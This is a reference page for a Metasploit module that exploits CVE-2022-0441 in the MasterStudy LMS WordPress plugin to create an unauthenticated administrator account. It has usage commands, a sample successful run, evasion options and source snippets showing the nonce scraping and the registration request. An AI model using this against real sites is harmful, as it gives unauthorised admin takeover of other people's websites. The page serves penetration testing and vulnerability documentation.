Wordpress MasterStudy Admin Account Creation - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/wp_masterstudy_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Wordpress MasterStudy Admin Account Creation
Module: auxiliary/admin/http/wp_masterstudy_privesc
Source code: modules/auxiliary/admin/http/wp_masterstudy_privesc.rb
Disclosure date: 2022-02-18
Last modification time: 2022-03-07 10:57:40 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-0441

MasterStudy LMS, a WordPress plugin, prior to 2.7.6 is affected by a privilege escalation where an unauthenticated user is able to create an administrator account for wordpress itself.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use auxiliary/admin/http/wp_masterstudy_privesc
msf auxiliary(wp_masterstudy_privesc) > show targets
    ... a list of targets ...
msf auxiliary(wp_masterstudy_privesc) > set TARGET target-id
msf auxiliary(wp_masterstudy_privesc) > show options
    ... show and set options ...
msf auxiliary(wp_masterstudy_privesc) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


MasterStudy LMS, a WordPress plugin, prior to 2.7.6 is affected by a privilege escalation where an unauthenticated user is able to create an administrator account for wordpress itself.

The vulnerable version is available on WordPress' plugin directory.

Verification Steps


  1. msfconsole
  2. use auxiliary/admin/http/wp_masterstudy_privesc
  3. set RHOSTS <rhost>
  4. run

Options


USERNAME

Set a USERNAME if desirable. Defaults to empty, and random generation.

PASSWORD

Set a PASSWORD if desirable. Defaults to empty, and random generation.

EMAIL

Set a EMAIL if desirable. Defaults to empty, and random generation.

Scenarios


MasterStudy 2.7.5 on WordPress 5.7.5

[*] Processing masterstudy.rb for ERB directives.
resource (masterstudy.rb)> use auxiliary/admin/http/wp_masterstudy_privesc
resource (masterstudy.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (masterstudy.rb)> set verbose true
verbose => true
resource (masterstudy.rb)> run
[*] Running module against 1.1.1.1
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/masterstudy-lms-learning-management-system/readme.txt
[*] Found version 2.7.5 in the plugin
[+] The target appears to be vulnerable.
[*] Attempting with username: ujukzntw7 password: TbxjFm0znF email: [email protected]
[+] Account Created Successfully
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the admin/http/wp_masterstudy_privesc auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/wp_masterstudy_privesc

msf6 auxiliary(admin/http/wp_masterstudy_privesc) > show info

       Name: Wordpress MasterStudy Admin Account Creation
     Module: auxiliary/admin/http/wp_masterstudy_privesc
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2022-02-18

Provided by:
  h00die
  Numan T��rle

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  EMAIL                       no        Email to register (blank will auto generate)
  PASSWORD                    no        Password (blank will auto generate)
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the wordpress application
  USERNAME                    no        Username to register (blank will auto generate)
  VHOST                       no        HTTP server virtual host

Description:
  MasterStudy LMS, a WordPress plugin, prior to 2.7.6 is affected by a 
  privilege escalation where an unauthenticated user is able to create 
  an administrator account for wordpress itself.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2022-0441
  https://gist.github.com/numanturle/4762b497d3b56f1a399ea69aa02522a6
  https://www.exploit-db.com/exploits/50752
  https://wpscan.com/vulnerability/173c2efe-ee9c-4539-852f-c242b4f728ed

Module Options


This is a complete list of options available in the admin/http/wp_masterstudy_privesc auxiliary module:

msf6 auxiliary(admin/http/wp_masterstudy_privesc) > show options

Module options (auxiliary/admin/http/wp_masterstudy_privesc):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   EMAIL                       no        Email to register (blank will auto generate)
   PASSWORD                    no        Password (blank will auto generate)
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME                    no        Username to register (blank will auto generate)
   VHOST                       no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/http/wp_masterstudy_privesc auxiliary module:

msf6 auxiliary(admin/http/wp_masterstudy_privesc) > show advanced

Module advanced options (auxiliary/admin/http/wp_masterstudy_privesc):

   Name                  Current Setting                                             Required  Description
   ----                  ---------------                                             --------  -----------
   AutoCheck             true                                                        no        Run check before exploit
   DOMAIN                WORKSTATION                                                 yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                        no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                        no        Conduct a pre-exploit fingerprint verification
   ForceExploit          false                                                       no        Override check result
   HttpClientTimeout                                                                 no        HTTP connection and receive timeout
   HttpPassword                                                                      no        The HTTP password to specify for authentication
   HttpRawHeaders                                                                    no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                                       no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                                     no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                                       no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                      no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                        yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL
                                                                                               23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit  no        The User-Agent header to use for all requests
                         /537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537
                         .36
   VERBOSE               false                                                       no        Enable detailed status messages
   WORKSPACE                                                                         no        Specify the workspace for this module
   WPCHECK               true                                                        yes       Check if the website is a valid WordPress install
   WPCONTENTDIR          wp-content                                                  yes       The name of the wp-content directory

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/wp_masterstudy_privesc module can do:

msf6 auxiliary(admin/http/wp_masterstudy_privesc) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/wp_masterstudy_privesc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/wp_masterstudy_privesc) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Server not online or not detected as wordpress


Here is a relevant code snippet related to the "Server not online or not detected as wordpress" error message:

47:	    )
48:	  end
49:	
50:	  def check
51:	    unless wordpress_and_online?
52:	      return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
53:	    end
54:	
55:	    checkcode = check_plugin_version_from_readme('masterstudy-lms-learning-management-system', '2.7.6')
56:	    if checkcode == Msf::Exploit::CheckCode::Safe
57:	      return Msf::Exploit::CheckCode::Safe('MasterStudy LMS version not vulnerable')

MasterStudy LMS version not vulnerable


Here is a relevant code snippet related to the "MasterStudy LMS version not vulnerable" error message:

52:	      return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
53:	    end
54:	
55:	    checkcode = check_plugin_version_from_readme('masterstudy-lms-learning-management-system', '2.7.6')
56:	    if checkcode == Msf::Exploit::CheckCode::Safe
57:	      return Msf::Exploit::CheckCode::Safe('MasterStudy LMS version not vulnerable')
58:	    end
59:	
60:	    checkcode
61:	  end
62:	

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

75:	  def run
76:	    username = get_username
77:	    password = get_password
78:	    email = get_email
79:	    res = send_request_cgi('uri' => normalize_uri(target_uri.path))
80:	    fail_with(Failure::Unreachable, 'Connection failed') unless res
81:	    fail_with(Failure::UnexpectedReply, 'Request failed to return a successful response') unless res.code == 200
82:	    /"stm_lms_register":"(?<nonce>\w{10})"/ =~ res.body
83:	    fail_with(Failure::UnexpectedReply, 'Unabled to retrieve MasterStudy Nonce from page') if nonce.nil?
84:	
85:	    print_status("Attempting with username: #{username} password: #{password} email: #{email}")

Request failed to return a successful response


Here is a relevant code snippet related to the "Request failed to return a successful response" error message:

76:	    username = get_username
77:	    password = get_password
78:	    email = get_email
79:	    res = send_request_cgi('uri' => normalize_uri(target_uri.path))
80:	    fail_with(Failure::Unreachable, 'Connection failed') unless res
81:	    fail_with(Failure::UnexpectedReply, 'Request failed to return a successful response') unless res.code == 200
82:	    /"stm_lms_register":"(?<nonce>\w{10})"/ =~ res.body
83:	    fail_with(Failure::UnexpectedReply, 'Unabled to retrieve MasterStudy Nonce from page') if nonce.nil?
84:	
85:	    print_status("Attempting with username: #{username} password: #{password} email: #{email}")
86:	    json_post_data = JSON.pretty_generate({

Unabled to retrieve MasterStudy Nonce from page


Here is a relevant code snippet related to the "Unabled to retrieve MasterStudy Nonce from page" error message:

78:	    email = get_email
79:	    res = send_request_cgi('uri' => normalize_uri(target_uri.path))
80:	    fail_with(Failure::Unreachable, 'Connection failed') unless res
81:	    fail_with(Failure::UnexpectedReply, 'Request failed to return a successful response') unless res.code == 200
82:	    /"stm_lms_register":"(?<nonce>\w{10})"/ =~ res.body
83:	    fail_with(Failure::UnexpectedReply, 'Unabled to retrieve MasterStudy Nonce from page') if nonce.nil?
84:	
85:	    print_status("Attempting with username: #{username} password: #{password} email: #{email}")
86:	    json_post_data = JSON.pretty_generate({
87:	      'user_login' => username,
88:	      'user_email' => email,

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

109:	        'action' => 'stm_lms_register',
110:	        'nonce' => nonce
111:	      },
112:	      'data' => json_post_data
113:	    )
114:	    fail_with(Failure::Unreachable, 'Connection failed') unless res
115:	    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
116:	    results = res.get_json_document
117:	    if results['status'] == 'success'
118:	      print_good('Account Created Successfully')
119:	      create_credential({

Request Failed to return a successful response


Here is a relevant code snippet related to the "Request Failed to return a successful response" error message:

110:	        'nonce' => nonce
111:	      },
112:	      'data' => json_post_data
113:	    )
114:	    fail_with(Failure::Unreachable, 'Connection failed') unless res
115:	    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
116:	    results = res.get_json_document
117:	    if results['status'] == 'success'
118:	      print_good('Account Created Successfully')
119:	      create_credential({
120:	        workspace_id: myworkspace_id,

Account Creation Failed: <MESSAGE>


Here is a relevant code snippet related to the "Account Creation Failed: <MESSAGE>" error message:

126:	        service_name: 'Wordpress',
127:	        address: datastore['RHOST'],
128:	        port: datastore['RPORT'],
129:	        protocol: 'tcp',
130:	        status: Metasploit::Model::Login::Status::UNTRIED
131:	      })
132:	    else
133:	      print_error("Account Creation Failed: #{results['message']}")
134:	    end
135:	  end
136:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • h00die
  • Numan Türle

Version


This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.